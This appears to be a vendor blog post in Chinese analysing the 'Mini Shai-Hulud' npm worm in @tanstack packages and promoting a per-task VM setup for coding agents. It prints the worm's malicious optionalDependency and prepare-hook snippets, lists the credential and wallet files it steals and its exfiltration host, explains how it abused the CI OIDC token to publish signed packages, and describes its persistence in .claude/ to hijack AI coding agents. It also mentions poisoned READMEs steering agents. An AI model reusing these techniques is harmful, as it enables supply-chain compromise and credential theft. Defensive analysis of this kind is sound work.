将自己写入 .claude 的蠕虫
2026年5月11日,一个名为Mini Shai-Hulud的npm蠕虫在@tanstack命名空间的42个包中添加了optionalDependencies行。安装其中任何一个都会执行一个Bun脚本,该脚本从GitHub Actions环境中获取OIDC令牌,用它发布更多具有有效SLSA来源的受损版本,将自己复制到.claude/中以便在下次编码代理启动时使用,并泄露从~/.aws到您的加密货币钱包的所有内容。这些包都是签名的。证明是有效的。这里展示了攻击链是什么样子的,以及当执行安装的代理在Bromure per-task虚拟机中运行时会发生什么变化。
2026年5月11日,大约在UTC时间19:20到19:26之间,有人在42个
@tanstack包中推送了84个恶意工件——包括@tanstack/react-router,
这个路由库每周被1200万行npm install拉取。这些包由TanStack的
真实发布流水线签名,携带有效的SLSA来源,因为蠕虫没有窃取发布者
令牌。它劫持了TanStack的GitHub Actions运行器,在构建过程中。
在离开之前,在安装了其中一个恶意版本的每台机器上,它都将
自己的持久化副本写入了.claude/。
有一种供应链攻击被记录是因为有人窃取了维护者的密码。这不是其中之一。
周一晚上被Aikido、
Socket、
Wiz
和Snyk
全部捕获的Mini Shai-Hulud版本不需要密码。它需要某个地方的
开发者在传递依赖@tanstack/react-router的项目上输入npm install。
其余的——包括TanStack自己的CI在恶意发布上铸造签名的部分——都是自动的。
机制很重要,因为机制是让这次攻击成为关于您笔记本电脑上的编码代理 拥有哪些密钥的问题,而不是关于npm的问题。所以让我们遍历这个链条。
JSON行。
第一个恶意的@tanstack/react-router构建,版本1.169.5,
包含一个package.json,其中正是这样:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
一个Git URL,不是npm包。一个固定的提交,不是版本范围。
该提交的package.json又包含:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
当npm安装Git依赖项时,它会运行依赖项的prepare脚本。
这不是bug;这是记录的契约,因为Git依赖项通常是源代码,
源代码通常需要构建。&& exit 1是巧妙的部分:它使
可选依赖项失败安装,这意味着npm不会在package-lock.json
中记录它,这意味着一天后审计锁文件的受害者看不到任何
错误。有效载荷运行了。锁文件是干净的。
顺便说一下,运行时是Bun。不是Node。npm会按需为您安装Bun, 所以蠕虫甚至不需要自带。Bun没有任何问题——它是一个完全 合理的JavaScript运行时——但它的存在为混淆代码提供了一个 稍微不那么拥挤的工具链来隐藏,这就是目前攻击者想要的。
运行器运行后做什么。
三个文件。每个都是独立的坏。
router_init.js是凭据窃取器。它遍历磁盘寻找常见嫌疑人——
~/.aws/credentials、~/.npmrc、~/.docker/config.json、
~/.config/gh/hosts.yml、~/.kube/config、~/.ssh/*,
以及任何名称包含单词token的点文件——加上区分此攻击与
2022年供应链事件的列表:浏览器扩展钱包的磁盘保险库
(MetaMask、Phantom、Keplr)、Cursor和Windsurf的本地
会话文件、坐在父进程环境中的代理自己的令牌,以及
项目树中的任何MCP服务器配置文件。无论找到什么,它都会
打包tar、加密,并发送到filev2.getsession.org/file/,
这是一个攻击者控制的投递点,托管在一个在其他方面合法的
文件共享服务后面,使出口看起来像对CDN的curl。
tanstack_runner.js是传播器。一旦窃取了受害者的npm令牌,
它就会枚举该令牌可以发布的包,重新打包每个tarball,
将恶意的optionalDependencies行拼接到package.json中,
增加版本,然后重新发布。这是使Mini Shai-Hulud成为蠕虫
而不是单个坏包的部分:安装受损依赖项的每个维护者都
可能成为下一个攻击者。
router_runtime.js是持久化副本。Socket的
分析
注意到运行器将自己的副本写入它所在项目的.claude/
子目录,因为.claude/是Claude Code在启动时读取的目录,
用于项目范围的设置、斜杠命令和工具配置。下次开发者在
Claude Code中打开该存储库时——或者更糟的是,下次他们的
编码代理在新检出的机器上自主打开存储库时——持久化文件
已经在代理的工作树中。蠕虫很有耐心。
OIDC技巧:恶意包如何获得有效的SLSA来源。
这是应该让任何运行发布流水线的人夜不能寐的部分。
受损的@tanstack/[email protected]以有效的SLSA来源
到达npm。Sigstore签署了它。GitHub的证明API祝福了它。
如果您编写了一个检查说"只安装有来源的包",您仍然会安装它。
原因是机械的。SLSA来源不是说"这个代码是安全的"。
它说"这个工件是由其OIDC身份签署它的工作流构建的"。
要使其成为安全信号,工作流本身必须未受损。在这种情况下,
工作流是TanStack的实际发布工作流——但同一作业中较早的
步骤执行了一个依赖项,该依赖项的自己的安装脚本(这里是
TanStack自己的依赖项树已经包含蠕虫注入版本的恶意包的
prepare脚本)已在运行器内执行。运行器是一个进程树。
运行器具有环境变量ACTIONS_ID_TOKEN_REQUEST_TOKEN和URL
ACTIONS_ID_TOKEN_REQUEST_URL,这是合法工作流铸造短期
OIDC令牌的方式。在该进程树中运行的任何其他东西也一样。
蠕虫调用了同一端点,获得了一个范围为TanStack存储库的令牌,
使用它进行发布,Sigstore签署了结果,因为从Sigstore的
角度来看,TanStack发布了。Socket的分析对此很直接:
"不要仅将Sigstore来源徽章作为安全信号来信任。"
这与我们两周前写的LiteLLM和Bitwarden CLI事件是同一课,
在一个认为它锁定了前门的注册表中重新表述。如果有效载荷
在prepare中,锁文件不是防御。如果签署者的运行器是
有效载荷,签名不是防御。
端到端链条看起来如何。
这幅图有两个值得深思的属性,因为它们是决定哪些缓解措施 有效,哪些无效的属性。
第一个是蠕虫读取的每个文件都是用户为用户放在那里的文件。
没有人选择给路由库访问~/.aws/credentials的权限。它有
访问权限的原因是运行npm install的shell有访问权限,
因为坐在该shell前面的开发者有访问权限,这就是Unix的工作方式。
代理在机械上是开发者之手的延伸。它继承了开发者的影响范围。
第二个是破坏性步骤不是凭据盗取。而是向.claude/写入持久化。
纯凭据盗取是一次性武器——轮换密钥您就完成了。代理项目范围
配置目录中的持久化文件意味着下次编码会话,在新检出的机器上,
用不同的开发者,用该开发者的密钥,在该开发者的机器上,
再次运行蠕虫。爆炸半径不是一台笔记本电脑。而是团队。
Bromure Agentic Coding中的相同链条。
Bromure Agentic Coding是编码代理—— Claude Code、Cursor的CLI、Codex CLI、Aider,无论您喜欢什么—— 在Bromure per-task VM内运行的配置,项目文件夹挂载进来, 没有其他东西。VM是Bromure浏览器标签使用的同一个一次性Linux访客; 代理只是在任务的生命周期内而不是页面加载的生命周期内生活在其中。
这是它对上述链条做的事情,逐个文件。
映射蠕虫的步骤到它们死亡的地方。
逐个对照Bromure的边界走过运行器的三个文件,是这停止成为 口号并开始成为检查表的部分。
router_init.js伸手抓取密钥。
运行器读取~/.aws/credentials、~/.npmrc、$GH_TOKEN、
~/.config/gh/hosts.yml、~/.kube/config、
~/.docker/config.json和~/.ssh/id_ed25519。在Bromure VM内,
前四个是存根——在公共互联网上不意味着任何东西的字符串的
语法有效凭据文件。kubeconfig也是存根(或如果您没有为此
任务配置Kubernetes集群则不存在)。Docker配置是存根。
SSH私钥根本不在磁盘上;VM有一个转发的ssh-agent套接字,
其密钥材料位于虚拟化程序主机端的macOS Keychain中。运行器的
cat ~/.ssh/id_ed25519返回文件或目录不存在,运行器继续。
MetaMask、Phantom和Keplr怎么办?这些是浏览器扩展。 Bromure根本不在其浏览器中安装Chrome扩展——不是以"策划" 或"沙盒"方式,而是根本不安装——运行您编码代理的per-task VM 也没有桌面钱包坐在其文件系统上。运行器正在寻找的钱包保险库 生活在您的主机上,在您真实的浏览器配置文件中,在运行器 无法到达的Linux/macOS边界的另一边。
Cursor和Windsurf会话文件是一个有趣的中间情况。如果您在 Bromure代理会话内运行您的编码代理,那么"Cursor的会话文件" 就是这个VM内的文件——这是一个新鲜的VM,其唯一登录的代理 身份是您刚刚为此任务提供的,范围为此存储库,对此任务有效。 运行器将泄露该令牌。令牌对一个存储库上的一个任务有效。 任务结束时,令牌被轮换。爆炸半径是代理已被允许做的事情, 这并非什么都不是——见下文——但这远不是"攻击者现在拥有 我的整个AI订阅"。
tanstack_runner.js尝试重新发布。
传播器的整个存在理由是使用受害者的npm令牌发布更多受损包。
在VM内,~/.npmrc中的npm令牌是存根。主机上的出口代理
知道用户当前工作的真实存储库的api.github.com和
registry.npmjs.org,但它不会盲目转发针对任意无关包的
发布请求与主机的真实npm令牌。(如果您不打算从此任务
发布,代理白名单根本不包括npm。)发布尝试返回
401 Unauthorized,蠕虫的传播循环在连线处死亡。
这是凭据代理和绑定挂载之间的区别。将~/.npmrc挂载到
自身的容器给运行器真实的发布令牌。具有存根~/.npmrc和
知道"代理正在推送到其自己的工作存储库"和"某些脚本正在
重新发布我从未听说过的四十个其他包"之间区别的主机端
代理的VM给运行器401。相同输入。不同拓扑。
router_runtime.js将自己写入.claude。
持久化文件是将单标签事件转换为多标签大流行的举动, 这是Bromure Agentic Coding的一次性磁盘模型在结构上 过敏的举动。
.claude/位于项目树内,在Bromure代理会话中,它在
任务开始时挂载到VM中。所以蠕虫成功地将router_runtime.js
写入./project/.claude/。该文件现在是您存储库工作树的
一部分。根据您的任务设置,它也是(a)在VM的一次性CoW
磁盘内并且即将在会话结束时被删除,或(b)在挂载的主机端
并且即将出现在git status中。在情况(a)中持久化消失。
在情况(b)中持久化坐在开发者前面带着红色差异。
没有人想要的情况是静默的:蠕虫在笔记本电脑上运行,
写入.claude/router_runtime.js,文件被某些继承配置
npm ignored,持久化坐在那里将自己加载到该存储库的
每个未来Claude Code会话中,因为没人看过。这是Bromure
默认删除的情况——因为要么磁盘消失,要么文件在可见差异中。
为什么容器不能带您到这里。
适用与Bitwarden CLI分析 相同的反对意见:您可以将编码代理放入容器中,对于许多日常任务, 这确实比在主机上运行要好。但边界不在蠕虫关心的地方。
要使容器对编码代理所做的事情有用——让它git push、
gh pr create、从私有注册表npm install、推送图像——
您最终会将~/.ssh、~/.npmrc和GitHub令牌挂载到容器中。
prepare脚本执行cat ~/.ssh/id_ed25519并获得实际文件。
绑定挂载正是蠕虫寻找的软腹部,它不会因为Docker参与
而停止成为软腹部。
浏览器扩展钱包出于同样原因很重要。一旦容器被配置为 对"抓取文档站点以便我可以总结"或"打开本地主机预览"—— 常见的代理任务——有用,它对主机真实浏览器配置文件的 访问就成为问题。Bromure的per-task VM没有您的浏览器 配置文件在其中。它没有您的钱包在其中。它没有您的 LastPass等效物在其中。代理与访客上的新鲜、无品牌 Chromium交谈,这有意不是任何人的主浏览器。
这不能拯救您的地方。
两个地方,两者都值得命名以免它们成为意外。
代理仍然可以发布坏代码。
关于per-task VM的任何事情都不能阻止代理被中毒的README 或返回有用外观指令的MCP服务器说服,在您的代码中提交 后门并推送它。边界保护您机器上的凭据。它不审查差异。 阅读差异。会话跟踪使知道要阅读哪些差异更容易。
出口白名单是整个游戏。
如果您的任务将npm publish白名单到您自己的范围,因为
您今天正在发布,并且您今天碰巧安装了蠕虫,蠕虫将
在您的范围下发布。经纪起作用是因为白名单很窄。
故意将其变窄。不需要发布的任务不应该能够发布。
剪贴板默认仍然共享。
Bromure默认启用主机和访客之间的剪贴板共享,因为 将错误消息粘贴到聊天是人类需要做的事情。如果您在 任务内做敏感事情,请为该VM隔离剪贴板。控制在那里。 只是不是默认的。
跟踪是您的审计日志,不是您的IDS。
会话跟踪捕获每个shell命令、文件写入和出站请求。
它本身不将filev2.getsession.org分类为坏的。
它捕获请求被发出,这样当有人明天早上发布像Aikido
那样的分析时,您的grep需要两秒钟。
最后一件事。
这个故事有一个版本,答案是"审计您的锁文件"。锁文件是 干净的。有一个版本,答案是"只安装有来源的包"。来源是 有效的。有一个版本,答案是"使用容器"。容器有绑定挂载。
实际上能抵御有效载荷在锁文件被写入之前运行并在
发布者自己的CI内运行的蠕虫的版本,是打字的代理
坐在一次性Linux VM内的版本,其主机端代理持有真实密钥。
npm注册表契约没有改变。prepare钩子仍然运行。Bun
仍然启动。router_init.js仍然进行扫描。它只是扫描
一个其密钥不是用户密钥的访客,它试图持久化的一次性
磁盘在下一杯咖啡之前消失。
Bromure Agentic Coding是这成为默认 的配置。它是免费的、开源的,今天发布。下一个蠕虫 已经在上传。